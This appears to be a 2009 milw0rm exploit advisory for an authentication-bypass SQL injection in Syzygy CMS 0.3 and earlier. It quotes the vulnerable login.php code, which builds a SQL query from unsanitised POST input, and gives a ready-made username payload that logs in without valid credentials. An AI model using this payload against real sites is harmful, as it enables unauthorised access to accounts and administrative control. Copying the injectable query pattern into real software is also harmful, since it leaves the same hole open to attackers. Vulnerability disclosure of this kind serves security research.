--+++=========================================================================+++--
--+++====== Syzygy CMS <= 0.3 (Auth Bypass) SQL Injection Vulnerability ======+++--
--+++=========================================================================+++--
[+] Syzygy CMS <= 0.3 (Auth Bypass) SQL Injection Vulnerability
[+] Author : darkjoker
[+] Site : http://darkjoker.net23.net
[+] Greetz : my girlfriend, Vivi
[+] File : login.php
[+] Code:
17 $username=$_POST['username'];
18 $password=md5($_POST['password']);
19 $current_login=mysql_query("SELECT * FROM ".$mysql_prefix."users WHERE username='".$username."' AND password='".$password."'");
20
21 if (mysql_num_rows($current_login)==0)
22 {
23 header("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/"."index.php?page=invalid.php");
24 } else {
25 $current_user=mysql_fetch_array($current_login, MYSQL_ASSOC);
26 $_SESSION['user']=$current_user['username'];
27 $_SESSION['perms']=$current_user['perms'];
28 $style_query=mysql_query("SELECT filename FROM ".$mysql_prefix."layout_style WHERE id='".$current_user['style']."'");
29 $style_info=mysql_fetch_array($style_query,MYSQL_ASSOC);
30 $_SESSION['style']=$style_info['filename'];
31 header("Location: http://".$_SERVER['HTTP_HOST'].dirname($_SERVER['PHP_SELF'])."/"."index.php");
32 }
[+] Username: x' OR 'x' = 'x'#
[+] Password: anything
# milw0rm.com [2009-01-14]
